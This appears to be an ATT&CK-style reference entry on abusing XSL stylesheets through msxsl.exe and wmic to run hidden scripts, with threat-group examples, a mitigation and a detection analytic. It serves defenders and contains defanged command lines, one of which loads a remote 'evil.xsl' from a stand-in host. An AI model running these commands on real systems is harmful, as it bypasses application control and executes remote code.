Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. [1]
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) [2] can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. [3] Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. [4] Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.[5]
msxsl.exe customers[.]xml script[.]xslmsxsl.exe script[.]xsl script[.]xslmsxsl.exe script[.]jpeg script[.]jpegAnother variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.[6] This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.[5]
wmic process list /FORMAT:evil[.]xslwmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"| ID | Name | Description |
|---|---|---|
| S0373 | Astaroth |
Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain. [7] |
| G0080 | Cobalt Group |
Cobalt Group used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.[8] |
| G0126 | Higaisa | |
| C0022 | Operation Dream Job |
During Operation Dream Job, Lazarus Group used a remote XSL script to download a Base64-encoded DLL custom downloader.[10] |
| ID | Mitigation | Description |
|---|---|---|
| M1038 | Execution Prevention |
If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries. |
| ID | Name | Analytic ID | Analytic Description |
|---|---|---|---|
| DET0205 | Detect XSL Script Abuse via msxsl and wmic | AN0581 |
Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll). |